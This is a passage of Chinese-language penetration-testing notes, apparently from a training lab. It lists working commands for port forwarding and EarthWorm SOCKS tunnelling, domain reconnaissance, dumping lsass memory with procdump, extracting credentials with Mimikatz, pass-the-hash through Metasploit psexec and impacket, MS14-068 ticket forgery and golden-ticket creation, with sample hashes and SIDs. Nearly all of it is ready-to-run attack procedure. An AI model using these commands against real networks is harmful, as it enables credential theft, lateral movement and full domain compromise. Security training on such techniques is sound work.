攻击机:meterpreter > portfwd add -l 7777(本地端口) -p 3389(靶机端口) -r 192.168.217.136(靶机地址)
#前提是建立会话。(法二:如果端口改为80)
攻击机:rdesktop 127.0.0.1:7777
#(法二:在浏览器输入127.0.0.1:7777)
6、EarthWorm
1、正向代理
(在跳板机上面开代理服务器)(常用)
跳板机:
Windows开启socks5代理/监听:ew -s ssocksd -l 7777
Linux开启socks5代理/监听:./ew_for_linux64 -s ssocksd -l 7777
攻击机:
vim /etc/proxychains4.conf
#在末尾添加代理IP和端口(socks5 192.168.21.146(跳板机):7777)
proxychains4 curl myip.ipip.net
#测试代理开放情况
proxychains4 firefox
#成功通过跳板机使攻击机与跳板机通信
2、反向代理(内网穿透)【难】
跳板机:./ew_for_linux64 -s rcsocks -l 7777(跳板机开放的端口) -e 2222(Windows开放的端口)
靶机:ew_for_Win.exe -s rssocks -d 192.168.48.139(跳板机) -e 2222
#windows主机需要多按下回车
攻击机:
vim /etc/proxychains4.conf
proxychains4 curl myip.ipip.net
proxychains4 firefox
3、多级代理
(略)
37、域基础信息搜集
ping "域名"
ipconfig /all #判断当前是否在域环境中,看dns后缀和dns服务器
net view #查看本工作组/域环境中的设备
net view /domain #查询域数量
net view | net view /domain:域名 #查询主机数量
net group /domain #查看域控组别信息
net group "domain admins" /domain #查看域控管理员组的成员
net time /domain #查看系统时间(判断主域)
systeminfo | findstr "KB" #查看补丁信息
whoami /user #查看SID
arp -a #查看域中所有的设备
38、Procdump操作
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
#把内存当中的HASH导入到本地,并命名为lsass.dmp
39、Mimikatz操作
1、利用procdump导下来的dump文件
mimikatz # ::
#查看帮助手册
mimikatz # log
#记录所得到的信息
mimikatz # sekurlsa::minidump lsass.dmp
#切换环境(挂载dmp文件)
mimikatz # sekurlsa::logonpasswords
#列出所有可用的凭据
2、直接利用minikatz(需要管理权限)
mimikata # log
#记录所得到的信息
mimikatz # privilege::debug
#提权(获得mimikatz程序的特殊操作)
mimikatz # sekurlsa::msv
#提取内存的HASH值
mimikatz # sekurlsa::logonpasswords
#列出所有可用的凭据
40、Pass The Hash(哈希传递)
1、prodump操作
把内存当中的HASH导入到本地
C:\Users\Administrator> rundll32 user32.dll,LockWorkStation
#Windows强制锁屏(为了让用户重新登录从而可以抓取lsass.exe文件中的密码)
2、mimikatz操作
mimikata # privilege::debug
#提权
mimikata # sekurlsa::pth /user:administrator /ntlm:xxxx /domain:xxxx
#凭据传递
C:\Windows\system32> dir \\192.168.48.100\c$\users\administrator\desktop
#使用的是网络路径
C:\Windows\system32> copy \\IP\C$\ c:\xxx(本地)
#下载DC中的资源
C:\Windows\system32> copy \\192.168.48.100\c$\users\administrator\desktop\KMS_V3.1.exe C:\users\cnl\desktop
3、MSF-Hash登录
msf6 > search psexec
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.48.101
msf6 exploit(windows/smb/psexec) > set SMBDomain yucedu.com
#域名最好设置一下
msf6 exploit(windows/smb/psexec) > set SMBUSER administrator
#设置域控用户名
msf6 exploit(windows/smb/psexec) > set SMBpass f26fb3ae03e93ab9c81667e9d738c5d9(LM):47bf8039a8506cd67c524a03ff84ba4e(NTLM)
#设置域主机密码(有明文密码可直接输入)
Msf6 exploit(windows/smb/psexec) > exploit
4、Kali当中Python工具凭据传递获取shell工具
pip2 install impacket -i https://pypi.douban.com/simple
#安装impacket工具
smbexec.py -hashes "LMHASH:NTHASH" "域名"/"主机名"@192.168.48.101
#获取域中主机的会话(信息如下条)
wmiexec.py -hashes f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e yucedu.com/administrator@192.168.48.101
#获取域中主机的会话
41、MS14-068漏洞使用
ms14-068.exe -u "域用户名"@"域名" -s "域用户sid" -d "域控ip" -p "域用户密码"
#使用完成后会生成文件TGT_cnl@@yucedu.com.ccache(MS14-068可以生成票据)
C:\Users\cnl\Desktop> NS14-68.exe -u cnl@yucedu.com -s S-1-5-21-2751116026-811459043-384866481-1104 -d 192.168.48.10 -p Aa123456 #示例(可在MSF中进入shell操作)
mimikatz # kerberos::purge
#清除票据
mimikatz # kerberos::list
#查看票据
mimikatz # kerberos::ptc TGT_cnl@@yucedu.com.ccache
#注入票据
C:\Users\cnl\Desktop\mimikatz\x64> dir \\DC\C$
#列出域控的C盘目录(查看效果)(网络路径不太行)
42、mimikatz生成黄金票据
mimikatz # kerberos::golden /user:administrator /domain:yucedu.com /sid:S-1-5-21-2751116026-811459043-384866481 /krbtgt:9d093f0496bcbbf9999845340c57cd6b /ticket:golden.kirbi
#mimikatz生成票据
mimikatz # kerberos::purge
#清除当前票据(或cmd : klist purge)
mimikatz # kerberos::ptt golden.kirbi
#导入票据
C:\Users\cnl\Desktop\mimikatz\x64> dir \\DC\C$
#列出域控的C盘目录(查看效果)(网络路径不太行)
(只要krbtgt用户不更改密码,就可以使用黄金票据是实现任何用户的票据信息,注入到内存中。)